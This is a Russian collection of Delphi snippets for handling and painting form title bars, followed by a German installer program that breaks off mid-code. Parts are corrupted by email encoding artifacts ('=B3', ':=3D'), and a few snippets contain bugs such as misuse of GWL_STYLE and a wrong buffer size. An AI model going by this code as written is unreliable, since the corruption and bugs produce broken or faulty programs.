  N, X, Y : Integer;
begin
  if Center.X = 0 then
    Exit;
  with Canvas do
  begin
    Brush.Style := bsSolid;
    Brush.Color := TitlColors[Act];
    PaintRgn(Handle, rTitleBar);
    R := RL;
    Brush.Color := TitlColors[Act];
    Font.name := 'Arial';
    Font.Size := 12;
    Font.Color := TxtColors[Act];
    Font.Style := [fsBold];
    GetObject(Font.Handle, SizeOf(TLogFont), @TF);
    for N := 1 to Length(Caption) do
    begin
      X := Center.X-Round((Center.X-6)*Sin(R));
      Y := Center.Y-Round((Center.Y-6)*Cos(R));
      TF.lfEscapement := Round(R * 1800 / pi);
      Font.Handle := CreateFontIndirect(TF);
      TextOut(X, Y, Caption[N]);
      R := R - (((TextWidth(Caption[N]))+2) / Center.X);
      if R < RR then
        Break;
    end;
    Font.name := 'MS Sans Serif';
    Font.Size := 8;
    Font.Color := clWindowText;
    Font.Style := [];
  end;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
  with Canvas do
  begin
    Pen.Color := clBlack;
    Brush.Style := bsClear;
    Pen.Width := 1;
    Pen.Color := clWhite;
    Arc(1, 1, Width-1, Height-1, Width, 0, 0, Height);
    Arc((Width div 4)-1, (Height div 4)-1,
    3*(Width div 4)+1, 3*(Height div 4)+1, 0, Height, Width, 0);
    Pen.Color := clBlack;
    Arc(1, 1, Width-1, Height-1, 0, Height, Width, 0);
    Arc((Width div 4)-1, (Height div 4)-1,
    3*(Width div 4)+1, 3*(Height div 4)+1, Width, 0, 0, Height);
    TitleBar(Active);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  Close;
end;

end.


К заголовку




" Определить щелчок мышкой по заголовку формы
private
   procedure WMNCRBUTTONDOWN(var msg: TMessage); message WM_NCRBUTTONDOWN;
   procedure WMNCLBUTTONDOWN(var msg: TMessage); message WM_NCLBUTTONDOWN;
   procedure WMNCLBUTTONDBLCLK(var msg: TMessage); message WM_NCLBUTTONDBLCLK;
 end;



 implementation


 procedure TForm1.WMNCRBUTTONDOWN(var msg: TMessage);
 begin
   if msg.wParam = HTCAPTION then Caption := 'Right Click!';
   // Message.Result := 0; {to ignore the message}
  inherited;
 end;

 procedure TForm1.WMNCLBUTTONDOWN(var msg: TMessage);
 begin
   if msg.wParam = HTCAPTION then Caption := 'Left Click!';
   // Message.Result := 0; {to ignore the message}
  inherited;
 end;

 procedure TForm1.WMNCLBUTTONDBLCLK(var msg: TMessage);
 begin
   if msg.wParam = HTCAPTION then Caption := 'Double Click!';
   // Message.Result := 0; {to ignore the message}
  inherited;
 end;
К заголовку




" Перемещение окна вне заголовка
Нужно объявить три глобальные переменные в публичных объявлениям (после ключевого слова Public):

public
  { Public declarations }
  Draging: Boolean;
  X0, Y0: integer;


    * Draging - для обозначение того периода времени когда пользователь перемещает мышь с зажатой кнопкой мыши,
    * X0 и Y0 - координаты точки, над которой была зажата кнопка мыши

Далее описываем события формы OnMouseDown, OnMouseMove и OnMouseUp:

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  Draging := true;
  x0 := x;
  y0 := y;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
  Draging := false;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
  if Draging = true then
  begin
    Form1.Left := Form1.Left + X - X0;
    Form1.top := Form1.top + Y - Y0;
  end;
end;
------------------------------

Нужно объявить процедуру в частных объявлениям (после ключевого слова Private):

private
  { Private declarations }
  procedure WMNCHitTest (var M: TWMNCHitTest); message wm_NCHitTest;


В области implementation описываем процедуру так:

implementation
{$R *.DFM}

procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
  inherited;
  if M.Result = htClient then
    M.Result := htCaption;
end;


Мы выдаём клиентскую область окна за заголовочную область.
------------------------------

Хочу показать еще один способ перемещения окна за его тело Обрабатываем OnMouseDown:

ReleaseCapture;
Perform(WM_SYSCOMMAND, $F012, 0);


К заголовку




" Перехват нажатия на системные кнопки формы (закрытие, минимизация окна и т.д.)
Сообщение WM_SYSCOMMAND приходит перед выполнением соответствующей команды, что дает возможность переопределить код.

WM_SYSCOMMAND
  uCmdType = wParam;     // type of system command requested
  xPos = LOWORD(lParam); // horizontal postion, in screen coordinates
  yPos = HIWORD(lParam); // vertical postion, in screen coordinates


Например, перехват события минимизации окна приложения:

type
  TMain = class(TForm)
  protected
    procedure WMGetSysCommand(var message : TMessage);
    message WM_SYSCOMMAND;
end;
...

// Обработка сообщения WM_SYSCOMMAND
procedure TMain.WMGetSysCommand(var message : TMessage) ;
begin
  if (message.wParam = SC_MINIMIZE) then
    Main.Visible := False
  else
    inherited;
end;


К заголовку




" Показать вторую форму, а заголовок первой оставить активным
procedure TForm2.FormActivate(Sender: TObject);
begin
  SendMessage(Application.MainForm.Handle, WM_NCACTIVATE, Boolean(True), 0);
end;
К заголовку




" Получение второго цвета заголовков форм
  Получение второго цвета заголовков форм

Автор: Dimka Maslov
WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение «второго» цвета заголовков форм

Данная фунция возвращает значение цвета, использующегося для
отображения плавного перехода цветов в заголоках форм Windows 98, ME и 2000

Зависимости: Windows
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        21 мая 2002 г.
***************************************************** }

function clGradientActiveCaption: Integer;
var
  B: BOOL;
begin
  SystemParametersInfo(SPI_GETGRADIENTCAPTIONS, 0, @B, 0);
  if B then
    Result := GetSysColor(COLOR_GRADIENTACTIVECAPTION)
  else
    Result := GetSysColor(COLOR_ACTIVECAPTION);
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
begin
  self.Color := clGradientActiveCaption;
end;


К заголовку




" Получить текст заголовка определенного окна
// This example will show you a faster method how you can obtain
// the text of the specified window's title bar under Windows NT/2000 systems.
// (c)1999 Ashot Oganesyan K, SmartLine, Inc
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com

// The function copies the text of the specified window's title bar
// (if it has one) into a buffer. The InternalGetWindowText function is
// much faster than the documented GetWindowText because it uses INT 2E interrupt

// NT-Specific!
// Here is the prototype for InternalGetWindowText:

 (*
   InternalGetWindowText(
   hWnd: HWND;  {a handle to a window or control with text}
   lpString: PChar;  {a pointer to a buffer to receive the string (UNICODE!!!)}
   nMaxCount: Integer  {the maximum number of characters to copy}
   ): Integer;  {returns the length of the copied string}
 *)


 function NT_InternalGetWindowText(Wnd: HWND): string;
 type
   TInternalGetWindowText = function(Wnd: HWND; lpString: PWideChar;
     nMaxCount: Integer): Integer;
    stdcall;
 var
   hUserDll: THandle;
   InternalGetWindowText: TInternalGetWindowText;
   lpString: array[0..MAX_PATH] of WideChar; //Buffer for window caption
  oemStr: PChar;
 begin
   Result   := '';
   hUserDll := GetModuleHandle('user32.dll');
   if (hUserDll > 0) then
   begin @InternalGetWindowText := GetProcAddress(hUserDll, 'InternalGetWindowText');
     if Assigned(InternalGetWindowText) then
     begin
       InternalGetWindowText(Wnd, lpString, SizeOf(lpString));
       Result := string(lpString);
     end;
   end;
 end;

 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage(NT_InternalGetWindowText(Form1.Handle));
 end;
К заголовку




" Помещение VCL компонентов в область заголовка
Здесь есть хитрость:

Нужно разместить все необходимые элементы управления в отдельной форме, которая должна отслеживать перемещение
и изменение размеров основной формы. Данная форма будет всегда находится над областью заголовка основной формы.

Нижеприведенный проект включает в себя 2 формы и выпадающий список (combobox). После запуска программы список
появляется в области заголовка главной формы. Два ключевых вопроса: 1) организация перехвата сообщения WM_MOVE
главной формы; и 2) возвращение фокуса в главную форму после того, как пользователь нажмет на каком-либо элементе
управления, способным иметь фокус (например, TComboBox, TButton и др.)

Я использую 32-битную Delphi 2.0 под Win95, тем не менее данный код должен работать с любой версией Delphi.

Вот исходный код главной формы:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    procedure FormResize(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormHide(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure WMMove(var Msg: TWMMove); message WM_MOVE;
  end;

var
  Form1: TForm1;

implementation

uses Unit2;

{$R *.DFM}

procedure TForm1.FormResize(Sender: TObject);
begin
  with Form2 do
  begin
    {Заменим мои магические числа реальной информацией SystemMetrics}
    Width := Form1.Width - 120;
    Top := Form1.Top + GetSystemMetrics(SM_CYFRAME);
    Left := ((Form1.Left + Form1.Width) - Width) - 60;
  end;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.FormHide(Sender: TObject);
begin
  Form2.Hide;
end;

procedure TForm1.WMMove(var Msg: TWMMove);
begin
  inherited;
  if (Visible) then
    FormResize(Self);
end;

end.


Вот исходный код для псевдо-заголовка. Данная форма может содержать любые элементы управления VCL, которые вы
хотите установить в области заголовка главной формы. По существу, это - независимый диалог со следующими свойствами:

Caption='' {NULL строка}
Height={высота области заголовка}
Width={высота всех компонентов на форме}
BorderIcons=[] {пусто}
BorderStyle=bsNone
FormStyle=fsStayOnTop


И, наконец, исходный код для Form2:

unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm2 = class(TForm)
    ComboBox1: TComboBox;
    procedure FormCreate(Sender: TObject);
    procedure ComboBox1Change(Sender: TObject);
    procedure FormResize(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

uses Unit1;

{$R *.DFM}

procedure TForm2.FormCreate(Sender: TObject);
begin
  Height := ComboBox1.Height - 1;
  Width := ComboBox1.Width - 1;
end;

procedure TForm2.ComboBox1Change(Sender: TObject);
begin
  Form1.SetFocus;
end;

procedure TForm2.FormResize(Sender: TObject);
begin
  ComboBox1.Width := Width;
end;

end.


Файл проекта (.DPR) довольно простой:

program Project1;

uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1},
  Unit2 in 'Unit2.pas' {Form2};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.CreateForm(TForm2, Form2);
  Application.Run;
end.


Это все!

Хотя некоторые авторы книг утверждают:

"Вы не можете установить компоненты Delphi в заголовок окна, точнее, не существует никакого способа установить их там."

Зато существует иллюзия...
К заголовку




" Прокрутка текста заголовка
var
  a: string;

procedure TForm1.FormCreate(Sender: TObject);
begin
  a := 'Look at here !...';
end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: Integer;
begin
  Application.Title := a;
  Form1.Caption     := a;
  for i := 1 to (Length(a) - 1) do
    a[i] := Application.Title[i + 1];
  a[Length(a)] := Application.Title[1];
end;


К заголовку




" Рисовать на заголовочной полосе формы
{
 You have to handle the WM_NCPAINT message.
 Something like this (for custom text) Should be similar for bitmaps.
}

 type
   TForm1 = class(TForm)
   private
     procedure WMNCPaint(var Msg: TWMNCPaint); message WM_NCPAINT;
   public
   end;

 var
   Form1: TForm1;

 implementation

 {$r *.dfm}

 procedure TForm1.WMNCPaint(var Msg: TWMNCPaint);
 var
   ACanvas: TCanvas;
 begin
   inherited;
   ACanvas := TCanvas.Create;
   try
     ACanvas.Handle := GetWindowDC(Form1.Handle);
     with ACanvas do
      begin
       Brush.Color := clActiveCaption;
       Font.Name := 'Tahoma';
       Font.Size := 8;
       Font.Color := clred;
       Font.Style := [fsItalic, fsBold];
       TextOut(GetSystemMetrics(SM_CYMENU) + GetSystemMetrics(SM_CXBORDER),
         Round((GetSystemMetrics(SM_CYCAPTION) - Abs(Font.Height)) / 2) + 1, ' Some Text');
     end;
   finally
     ReleaseDC(Form1.Handle, ACanvas.Handle);
     ACanvas.Free;
   end;
 end;
К заголовку




" Спрятать Min и Max кнопки на форме
procedure TForm1.FormCreate(Sender: TObject);
var
  l: DWORD;
begin
  l := GetWindowLong(Self.Handle, GWL_STYLE);
  l := l and not (WS_MINIMIZEBOX);
  l := l and not (WS_MAXIMIZEBOX);
  l := SetWindowLong(Self.Handle, GWL_STYLE, l);
end;
К заголовку




" Спрятать Titlebar
procedure TForm1.HideTitlebar;
var
  Style: Longint;
begin
  if BorderStyle = bsNone then Exit;
  Style := GetWindowLong(Handle, GWL_STYLE);
  if (Style and WS_CAPTION) = WS_CAPTION then
  begin
    case BorderStyle of
      bsSingle,
      bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style and
          (not (WS_CAPTION)) or WS_BORDER);
      bsDialog: SetWindowLong(Handle, GWL_STYLE, Style and
          (not (WS_CAPTION)) or DS_MODALFRAME or WS_DLGFRAME);
    end;
    Height := Height - GetSystemMetrics(SM_CYCAPTION);
    Refresh;
  end;
end;

procedure TForm1.ShowTitlebar;
var
  Style: Longint;
begin
  if BorderStyle = bsNone then Exit;
  Style := GetWindowLong(Handle, GWL_STYLE);
  if (Style and WS_CAPTION) <> WS_CAPTION then
  begin
    case BorderStyle of
      bsSingle,
      bsSizeable: SetWindowLong(Handle, GWL_STYLE, Style or WS_CAPTION or
          WS_BORDER);
      bsDialog: SetWindowLong(Handle, GWL_STYLE,
          Style or WS_CAPTION or DS_MODALFRAME or WS_DLGFRAME);
    end;
    Height := Height + GetSystemMetrics(SM_CYCAPTION);
    Refresh;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  HideTitlebar;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  ShowTitlebar;
end;
К заголовку




" Убрать из формы Caption
SetWindowLong(Form1.Handle, GWL_STYLE, GWL_STYLE and not WS_CAPTION or WS_SIZEBOX);
К заголовку




" Уменьшить форму по щелчку правой кнопкой мышки на TitleBar
type
   TForm1 = class(TForm)
   private
     { Private-Deklarationen }
     FOldHeight: Integer;
     procedure WMNCRButtonDown(var Msg: TWMNCRButtonDown); message WM_NCRBUTTONDOWN;
   public
     { Public-Deklarationen }
   end;

 var
   Form1: TForm1;

 implementation

 {$R *.DFM}

 procedure TForm1.WMNCRButtonDown(var Msg: TWMNCRButtonDown);
 begin
   if (Msg.HitTest = HTCAPTION) then
     if (ClientHeight = 0) then
     begin
       ClientHeight := FOldHeight;
       Application.ProcessMessages;
     end
     else
     begin
       FOldHeight   := ClientHeight;
       ClientHeight := 0;
       Application.ProcessMessages;
     end
 end;
К заголовку




" Четвёртая кнопка на заголовочной полосе окна
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, ExtCtrls, StdCtrls;

const
  wm_BtnClk = wm_User + 111;{Определяем своё сообщение}

type
  TForm1 = class(TForm)
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
    R: TRect;{Переменная для обозначения прямоугольной области кнопки}
    Press: Boolean;
    procedure WmNcPaint(var Msg: TWmNcPaint); message wm_NcPaint;
    procedure WMNcActivate(var msg: TwmncActivate); message wm_NcActivate;
    procedure WmNcLButtonDown( var Msg: TWMNCLBUTTONDOWN); message Wm_NCLbuttonDown;
    procedure wmnchittest(var Msg: TWMncHITTEST); message wm_NcHittest;
    procedure wmSize(var Msg: TMessage); message wm_Size;
    procedure wmncLButtonUp(var msg: TWMncLBUTTONUP); message wm_NclButtonUp;
    procedure wmLbuttonUp(var Msg: TMessage); message wm_LbuttonUp;
    procedure wmBtnClk(var msg: TMessage); message wm_BtnClk;
  public
    { Public declarations }
    procedure DrawBtn;
end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

{ TForm1 }

procedure TForm1.WmNcPaint(var Msg: TWmNcPaint);
begin
  inherited;
  Drawbtn;{При перерисовке окна прорисовываем кнопку}
end;

procedure TForm1.DrawBtn;{Код прорисовки кнопки}
var
  WDc: HDc;
  Cx, Cy: Integer;
  XFrame, Yframe: Integer;
begin
  {Получаем контекст нашего окна, снимаем мерки с оконных размеров,
  вычисляем положение нашей кнопки и прорисовываем её в зависимости
  от того нажата ли кнопка мыши над ней}
  WDc := GetWindowDc(Handle);
  Cx := GetSystemMetrics(SM_CXSize);
  Cy := GetSystemMetrics(SM_CYSize);
  xFrame := GetSystemMetrics(SM_CXFrame);
  yFrame := GetSystemMetrics(SM_CYFrame);
  R := Bounds(Width - xFrame - 4*Cx + 2, yFrame + 2, Cx - 2, Cy - 4);
  if Press then
    DrawFrameControl(WDc,R,DFC_BUTTON,DFCS_ButtonPUSH or DFCS_PUSHED)
  else
    DrawFrameControl(WDc,R,DFC_BUTTON,DFCS_ButtonPUSH);
  ReleaseDc(Handle,WDC);
end;

procedure TForm1.WMNcActivate(var msg: TwmncActivate);
begin
  inherited;
  DrawBtn;
end;

procedure TForm1.WmNcLButtonDown(var Msg: TWMNCLBUTTONDOWN);
var
  pt: TPoint;
begin
  inherited;
  drawbtn;
  pt := Point(msg.XCursor - Left,msg.YCursor - top);
  if PtInRect(R,pt) then
  begin
    Press := True;
    drawbtn;
  end;
end;


procedure TForm1.wmnchittest(var Msg: TWMncHITTEST);
var
  pt: tpoint;
begin
  inherited;
  pt :=Point(msg.XPos - Left, msg.YPos - Top);
  if PtinRect(r,pt) then
    msg.Result := htBorder;
end;

procedure TForm1.wmSize(var Msg: TMessage);
begin
  inherited;
  RedrawWindow(Handle, PRect(0), 0, RDW_FRAME or RDW_NOINTERNALPAINT
    or RDW_INVALIDATE);
end;

procedure TForm1.wmncLButtonUp(var msg: TWMncLBUTTONUP);
var
  pt: TPoint;
begin
  inherited;
  pt := Point(msg.XCursor - Left,msg.YCursor - top);
  if PtInRect(R,pt) then
  begin
    Press := False;
    drawbtn;
    PostMessage(Handle,wm_btnClk,0,0);
  end;
end;

procedure TForm1.wmLbuttonUp(var Msg: TMessage);
begin
  inherited;
  if Press then
  begin
    Press := False;
    DrawBtn;
  end;
end;

procedure TForm1.wmBtnClk(var msg: TMessage);
begin
  {Объявили константу своего сообщения,
  посылаем его своему окну при отпускании кнопки мыши над новой кнопкой,
  а здесь обрабатываем своё сообщение}
  ShowMessage('О, круто, наша кнопка нажимается! Спасибо проекту Delphi World!');
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  RedrawWindow(Handle, PRect(0), 0, RDW_FRAME or RDW_NOINTERNALPAINT
    or RDW_INVALIDATE);
end;

end.


К заголовку




" Инсталятор
{ this is a setup program for an application I wrote.
  Maybe it's useful to others who are about to write their
  own Setup-programs.

  Dr. Norbert Hartkamp
  hartkamp@uni-duesseldorf.de
  n-hartkamp@nadeshda.gun.de
}

{file setupscl.pas}
program Setupscl;

uses
  Forms,
  Setupsc1 in 'SETUPSC1.PAS' {Form1};

{$R *.RES}

begin
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

{file setupsc1.pas}
unit Setupsc1;

interface

uses
  SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, Buttons, ExtCtrls, LZExpand, DdeMan;

const ProgName   = 'SCL90.EXE';
      LZProgName = 'SCL90.EX_';
type
  TForm1 = class(TForm)
    BitBtn1: TBitBtn;
    BitBtn2: TBitBtn;
    Panel1: TPanel;
    Label1: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label2: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Panel2: TPanel;
    Label8: TLabel;
    Label9: TLabel;
    Label10: TLabel;
    ProgrammpfadEdit: TEdit;
    DatenpfadEdit: TEdit;
    Label11: TLabel;
    Label12: TLabel;
    Panel3: TPanel;
    Label14: TLabel;
    AuswerterEdit: TEdit;
    Label15: TLabel;
    Inst1Edit: TEdit;
    Inst2Edit: TEdit;
    Inst3Edit: TEdit;
    CheckBox1: TCheckBox;
    Panel4: TPanel;
    Image1: TImage;
    Label13: TLabel;
    Label16: TLabel;
    Label17: TLabel;
    DdeClientConv1: TDdeClientConv;
    Image2: TImage;
    Label19: TLabel;
    Label20: TLabel;
    Label18: TLabel;
    Panel5: TPanel;
    Label21: TLabel;
    Label22: TLabel;
    Label23: TLabel;
    Label24: TLabel;
    Label25: TLabel;
    Label26: TLabel;
    procedure FormPaint(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
    DialogNo            : byte;
    WinDir              : array [0..144] of char;
    Programmverzeichnis : string[127];
    Datenverzeichnis    : string[127];
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormPaint(Sender: TObject);
var   Rows, Height:Integer;
begin
  Height:=(ClientHeight + 255) div 256;
  for Rows := 0 to 255 do
  begin
    Canvas.Brush.Color := RGB(0,0,Rows);
    Canvas.FillRect(Rect(0,(255-Rows)*Height,ClientWidth,((255-Rows)+1)*Height));
  end;
  Canvas.Font.Size := 32;
  Canvas.Font.Color:= clBlack;
  Canvas.Brush.Style := bsClear;
  Canvas.TextOut(13, 13, 'Setup SCL-90-Auswertung');
  Canvas.Font.Color:= clYellow;
  Canvas.TextOut(10, 10, 'Setup SCL-90-Auswertung');
  Canvas.Font.Size := 11;
  Canvas.Font.Style:= [fsBold];
  Canvas.Font.Color:= clWhite;
  Canvas.TextOut(10, ClientHeight-(ClientHeight div 20), '=AE N.Hartkamp, 1996');
end;

procedure TForm1.FormCreate(Sender: TObject);
var fileHandle: THandle;
    fileBuffer: Array [0..40] of Char;
begin
  BorderStyle := bsNone;
  WindowState := wsMaximized;
  BitBtn1.Top := trunc(ClientHeight * 0.90);
  BitBtn2.Top := trunc(ClientHeight * 0.90);
  BitBtn1.Left:= trunc(ClientWidth  * 0.80);
  BitBtn2.Left:= trunc(ClientWidth  * 0.60);
  DialogNo := 0;
  FillChar(WinDir, SizeOf(WinDir), #0);
  GetWindowsDirectory(WinDir, 144);
  ProgrammpfadEdit.Text := StrPas(WinDir);
  ProgrammpfadEdit.Text := ProgrammpfadEdit.Text[1] + ':\\SCL90R';
  DatenpfadEdit.Text := ProgrammpfadEdit.Text;
  AuswerterEdit.Text := 'Anwendername';

  { Get user name and company name }
  fileHandle := LoadLibrary('USER');

  if fileHandle >= HINSTANCE_ERROR then begin
    If LoadString(fileHandle, 514, @fileBuffer, 40) <> 0 Then
       AuswerterEdit.Text :=3D StrPas(fileBuffer);
    FreeLibrary(fileHandle);
  end;

  Inst1Edit.Text := 'Bezeichnung der Institution';
  Inst2Edit.Text := 'Bezeichnung der Institution (Fortsetzung)';
  Inst3Edit.Text := '- z.B.: Angabe der Abteilung -';
  CheckBox1.Checked := true;

  Panel1.Left := (ClientWidth  div 2) - (Panel1.Width  div 2);
  Panel1.Top  := (ClientHeight div 2) - (Panel1.Height div 2);

  Panel2.Left := (ClientWidth  div 2) - (Panel2.Width  div 2);
  Panel2.Top  := (ClientHeight div 2) - (Panel2.Height div 2);

  Panel3.Left := (ClientWidth  div 2) - (Panel3.Width  div 2);
  Panel3.Top  := (ClientHeight div 2) - (Panel3.Height div 2);

  Panel4.Left := (ClientWidth  div 2) - (Panel4.Width  div 2);
  Panel4.Top  := (ClientHeight div 2) - (Panel4.Height div 2);

  Panel5.Left := (ClientWidth  div 2) - (Panel5.Width  div 2);
  Panel5.Top  := (ClientHeight div 2) - (Panel5.Height div 2);
end;

procedure TForm1.BitBtn2Click(Sender: TObject);
begin
  Close;
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
var aResultStr : array[0..144] of char;
    strIniPath : array[0..144] of char;
    ResultStr  : string[144];
    fromStruct : TOFStruct;
    toStruct   : TOFStruct;
    ret        : word;
    fromHandle : integer;
    toHandle   : integer;
    BDEOk      : boolean;
    CurPath    : string[144];
    Ok         : Longint;
    i          : word;
    DDE_Link   : Boolean;
    Macro      : string;


  function iif(cond : boolean; exp1, exp2 : string) : string;
  begin
    if cond then result := exp1 else result := exp2;
  end;

begin
  if DialogNo = 0 then begin
    ret := GetProfileString('IDAPI', 'CONFIGFILE01', 'NIX', aResultStr,
 80);
    ResultStr := StrPas(aResultStr);
    BDEOk := (ResultStr <> 'NIX') and FileExists(ResultStr);
    if not BDEOk then begin
      Panel1.Hide;
      MessageDlg('Installationsfehler:'+#13#13+
                 'Bevor Sie das SCL-90 Auswertungsprogramm installieren'+
#13+
                 'k=F7nnen, m=B3ssen Sie die Database-Engine installieren
.'+#13#13+
                 'F=B3hren Sie dazu das Program SETUP.EXE von'+#13+
                 'der BDE-Diskette 1 aus.', mtError, [mbOk], 0);
      Close;
    end;
  end;
  Inc(DialogNo);
  case DialogNo of
    1: begin
         Panel1.Hide;
         Panel2.Show;
         ProgrammpfadEdit.SetFocus;
       end;
    2: begin
         GetDir(0, CurPath);
         Ok  := 0;
         ret := IOResult;
         {$I-}
         ChDir(ProgrammpfadEdit.Text);
         if IOResult <> 0 then ok := 1;
         ChDir(DatenpfadEdit.Text);
         if IOResult <> 0 then if ok = 0 then ok := 2 else ok := 3;
         if ok <> 0 then begin
           case ok of
             1 : CurPath := 'Das Programmverzeichnis ist ';
             2 : CurPath := 'Das Datenverzeichnis ist ';
             3 : CurPath := 'Programm- und Datenverzeichnis sind ';
           end;
           Panel2.Hide;
           if MessageDlg(CurPath + 'nicht vorhanden'+#13+
                        iif(ok=3,'Sollen die Verzeichnisse ', 'Soll das
 Verzeichnis ') +
                        'angelegt werden?', mtConfirmation, [mbYes, mbNo]
, 0) = mrNo
             then begin
               Panel2.Show;
               Dec(DialogNo);
               if odd(Ok) then ProgrammpfadEdit.SetFocus
                          else DatenpfadEdit.SetFocus;
             end else begin
               MkDir(ProgrammpfadEdit.Text);
               MkDir(DatenpfadEdit.Text);
               DialogNo := 2;
               ret := IOResult;
               Ok  := 0;
             end;
         end;
         ChDir(CurPath);
         if Ok = 0 then begin
           Panel2.Hide;
           Panel3.Show;
           AuswerterEdit.SetFocus;
         end;
       end;
    3: begin
         Panel3.Hide;
         Panel4.Show;
         Invalidate;
         Application.ProcessMessages;
         ResultStr := ProgrammpfadEdit.Text;
         if ResultStr[length(ResultStr)] <> '\\' then ResultStr := ResultStr
         + '\\';
         StrPCopy(strIniPath, ResultStr + 'SCL90.INI');
         WritePrivateProfileString('Passwort', 'Passwort', '=C1=C2=BF',
         strIniPath);

         StrPCopy(aResultStr, DatenpfadEdit.Text);
         WritePrivateProfileString('Vorgaben', 'Datenpfad', aResultStr,
         strIniPath);

         StrPCopy(aResultStr, Inst1Edit.Text);
         WritePrivateProfileString('Vorgaben', 'Inst1'    , aResultStr,
         strIniPath);

         StrPCopy(aResultStr, Inst2Edit.Text);
         WritePrivateProfileString('Vorgaben', 'Inst2'    , aResultStr,
         strIniPath);

         StrPCopy(aResultStr, Inst3Edit.Text);
         WritePrivateProfileString('Vorgaben', 'Inst3'    , aResultStr,
         strIniPath);

         StrPCopy(aResultStr, AuswerterEdit.Text);
         WritePrivateProfileString('Vorgaben', 'Auswerter', aResultStr,
         strIniPath);

         WritePrivateProfileString('Vorgaben', 'TWerte',    '1', strIniPath);

         fromHandle := LZOpenFile(LZProgName, fromStruct, OF_READ);
         ResultStr  := ProgrammpfadEdit.Text;
         if ResultStr[length(ResultStr)] <> '\\' then ResultStr := ResultStr
         + '\\';
         StrPCopy(aResultStr, ResultStr+ProgName);
         toHandle   := LZOpenFile(aResultStr, toStruct, OF_CREATE);
         ok := LZCopy(fromHandle, toHandle);
         if ok < 0 then begin
           case ok of
             LZERROR_BADINHANDLE  : ResultStr := 'Das Handle, das die
             Quelldatei bezeichnet, ist nicht g=B3ltig.';
             LZERROR_BADOUTHANDLE : ResultStr := 'Das Handle, das die
             Zieldatei bezeichnet, ist nicht g=B3ltig.';
             LZERROR_BADVALUE     : ResultStr := 'Der eingegebene Parameter
             ist au=DFerhalb des erlaubten Bereichs.';
             LZERROR_GLOBALLOC    : ResultStr := 'F=B3r die ben=F7tigten
             Puffer steht nicht gen=B3gend Speicher zu'+ 'Verf=B3gung.';
             LZERROR_GLOBLOCK     : ResultStr := 'Das Handle, das die
             internen Datenstrukturen bezeichnet, ist nicht'+
                                                 'g=B3ltig.';
             LZERROR_READ         : ResultStr := 'Die Quelldatei hat ein
             ung=B3ltiges Format.';
             LZERROR_UNKNOWNALG   : ResultStr := 'Die Quelldatei ist mi=
t einem unbekannten Algorithmus komprimiert worden.';
             LZERROR_WRITE        : ResultStr := 'Es steht nicht gen=B3=
gend Platz f=B3r die Ausgabedatei zur Verf=B3gung.';
           end;
           MessageDlg('Fehler beim Expandieren von SCL90.EXE:'+#13#13+
                      ResultStr, mtError, [mbOk], 0);
         end else
         begin
           Panel4.Hide;
           Ok := 0;
           with DdeClientConv1 do begin
             DDE_Link := FALSE;
             DDE_LINK := SetLink('ProgMan','ProgMan');
             if DDE_LINK = TRUE then
             begin
               OpenLink;
               Macro := ' [CreateGroup ("SCL-90-Auswertung")]';
               StrPCopy (aResultStr, Macro);
               if not ExecuteMacro(aResultStr, False) then
                 MessageDlg('Programmgruppe konnte nicht eingerichtet
                 werden...',
                            mtInformation, [mbOK],  0) else
               begin
                 Macro := ' [ShowGroup("SCL90AUS.GRP",1)]';
                 StrPCopy (aResultStr, Macro);
                 ExecuteMacro(aResultStr, False);
                 ResultStr  := ProgrammpfadEdit.Text;
                 if ResultStr[length(ResultStr)] <> '\\'
                   then ResultStr := ResultStr + '\\'+ProgName;

                 Macro := ' [AddItem('+ResultStr+
                          ', "SCL-90-Eingabe", )]';
                 StrPCopy (aResultStr, Macro);
                 if not ExecuteMacro(aResultStr, False) then
                   MessageDlg('Programm konnte nicht in Gruppe eingef=B3g=
t werden...',
                              mtInformation, [mbOK],  0) else
                 begin
